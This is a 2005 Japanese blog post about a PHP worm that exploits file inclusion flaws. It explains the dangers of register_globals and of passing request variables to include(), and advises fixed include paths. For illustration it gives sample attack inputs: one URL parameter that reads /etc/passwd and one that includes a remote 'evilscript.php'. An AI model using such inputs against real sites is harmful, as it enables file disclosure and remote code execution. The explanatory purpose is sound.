Web Artisan Blog - ウェブ アルチザン ブログ

PHP:プログラムミスを突くセキュリティ・ホール、include()やrequire()を使う際の注意点とregister_globalsの設定

PHP (55 items)

2005年01月13日

去年、と言っても3週間ほど前なだけですが、
PHPについて気になる記事がありました。

PHPを狙う新たなワームが出現,Webページのプログラム・ミスを突く
米SANS Instituteなどは12月26日,アプリケーション開発言語PHPのインタプリタ「PHP 4/5」を利用しているWebサーバーに感染するワーム「PhpInclude.Worm(Santy.e)」を警告した。



ああ、これってPHPの脆弱性の話?と思った人。。
それは違います。

PhpInclude.Wormは,Webページのプログラム・ミスを突いてサーバーに侵入するワームであり,PHPやphpBBのセキュリティ・ホールを突くものではない。このため,PHPを利用するすべてのWebサーバーが影響を受ける可能性がある。PHPを利用するWebサーバーの管理者は改めてチェックしたい。・・(中略)具体的には,PHPの関数「Include()」や「Require()」を不適切に使うことで発生する問題(セキュリティ・ホール)「File Inclusion Flaw」を悪用する。このプログラム・ミス(セキュリティ・ホール)はPHPを使っているWebページの多くに存在するという。PHPを使っているWebサイトの管理者(開発者)は改めて確認してほしい。


・・・。
プログラム・ミスを突く??


そうなんです。
こいつは、PHPの持っている機能を悪用、
というか、気をつけてコーディングしないと、
「あなたのサイト、エライ目に遭いますよ!」という警告なのです。
で、どんな事かと見てみた。。
以下に、その内容が書かれています。
英語ですが、私も何となく理解といった感じで読みました。
>PHP Security Mistakes( Page 1 of 4 )
>PHP Security Mistakes - Tips 2, 3 ( Page 2 of 4 )

この内容を簡単にまとめると、
(1)register_globalsの設定は気をつけて(onに設定しない方がいい)
(2)includeを使用する際、その引数に変数を使用する場合は気をつけて
といった事になるかと思います。
※他にもありますが、今回はこの問題に特化

まず、この問題の一番の元凶は(1)ですね。
register_globalsについては下記を参照してみて下さい。。
>PHPの外部から来る変数
>はてなダイアリー - register_globals

つまり、register_globalsをonに設定すると、
画面(HTML)上の項目(input)の値が、”$_GET”や”$_POST”を使用しなくても、
”$inputのname名”の変数として書く事で取得できるという事です。

一見すれば便利な機能の様に思えますが、
これを悪用するのが今回の問題にあたります。
例えば仮に、

http://www.〜.com/test.php?usercd=admin


といった形でリクエストした場合、
test.php内で、変数$usercdから別の変数に値をセットしている様な記述があると、
”admin”という値が渡される事になります。
まあ、厳密にはこのtest.php内の変数”$usercd”を、
”admin”という値で初期化する事になるので、
test.php内の初期処理で、変数”$usercd”を初期化していれば、
変な値が入る事はない($usercdが左辺に来る処理であれば大丈夫)ですが、
変数”$usercd”が、画面のリクエストからくる値を想定($usercdが右辺に来る処理)
していれば、変な処理を行う可能性が高いという事になります。


で、これに乗じて本当に恐いのは、(2)になります。

include($page);


のように、includeの引数に変数$pageを使用しているような場合、
これは上の変数”$usercd”の例以上に恐ろしい事になります。

何でかって、include関数は便利だと私も思っていますが、
その引数に指定したファイルが、まんま処理されるからです。。

script.php?page=/etc/passwd


のように、ファイルの内容を見られる事にもなりますし、

script.php?page=http://mysite.com/evilscript.php


これなんか、非常に立ちが悪い。。
”http://mysite.com/evilscript.php”が、すんごい破壊的なプログラムであれば、
サイトはたちまち壊されますね。。

回避策としては、上の英語サイトでは
変数$pageの内容をチェックしてからincludeするようにとしてますが、
そもそもincludeする値を外から貰うようなコーディングがよくないので、
includeの引数には、変数でなく固定値(例:include('common.php');)にする方が、
無難かと思われます。。


こうなったら念の為、
まず自分のサーバーのregister_globalsの設定を知る必要がありますな。
<関連記事>
>PHP:各レンタルサーバーのPHP動作環境を調べるには

結構、この設定をonにしているレンタルサーバーも少なくありません。
しかしレンタルしていれば、この設定を自ら変える事はできないので、
後は、そこで動いているphpプログラムに掛かってきます。。


ブログブームに伴い、数々ブログツール、CMSがリリースされてますが、
これら全てが大丈夫かというのも疑問ですね。。
しかも、オープンソースという事で大っぴらにソース出回ってますし、
簡単にこのセキュリティ・ホールを見つける事もできます。。。
更に、各サイトがどんなツールを使っているかと言うのも、
特にブログサイトでは、”Powered By 〜”って感じで、
「このツール使ってますよ」ってさらけ出してますし。。。。

・・・何か、この記事書いてて自分でも恐くなってきたんで、
ここらで止めときます。

しかし、自分自身でphpプログラムを作った場合は、
その辺を注意して作るというのが基本、
で、ブログツールで怪しい部分を見つけたら、
ブログツール自体を直すのはちょっと中々できないですし、
っていうか、製造元に連絡した方がいいんでしょうね。。。

前の記事 次の記事

Comments

コメントは、まだ書かれていません

Add Comments

Trackback

トラックバックはありません

Trackback URL

http://www.res-system.com/weblog/action.php?action=plugin&name=TrackBack&tb_id=402